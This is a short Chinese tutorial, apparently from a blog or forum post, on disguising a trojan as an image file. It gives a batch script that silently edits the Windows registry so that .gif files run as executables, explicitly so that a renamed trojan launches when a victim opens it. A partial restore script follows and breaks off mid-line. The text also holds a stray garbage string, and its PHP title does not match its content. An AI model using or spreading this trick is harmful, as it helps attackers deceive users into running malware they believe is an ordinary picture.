php木马伪装成图片,木马伪装图片运行的技巧

任意文件当做木马来运行

你见过gif、jpg、jpeg、bmp等后缀文件当做木马来运行吗？一个小技巧可以把任意后缀文件当做EXE程序文件来运行。

更改exe为gif：

@echo off

color 1A

ECHO Windows Registry Editor Version 5.00>gif.reg

ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg

ECHO "Content Type"="application/x-msdownload">>gif.reg

ECHO @="exefile">>gif.reg

regedit /s gif.reg>nul 2>nul

del /s gif.reg>nul 2>nul

这个代码保存成.BAT的文件。

先运行这个BAT文件系统会把.GIF文件来当做应用程序来运行

当然我们的木马后缀要换成.GIF 的，嘻嘻。

J-Wphc!m

恢复gif默认：

@echo off

color 1A

ECHO Windows Registry Editor Version 5.00>gif.reg

ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg

ECHO "Content Type"="image/gif">>gif.reg

ECHO @="giffile">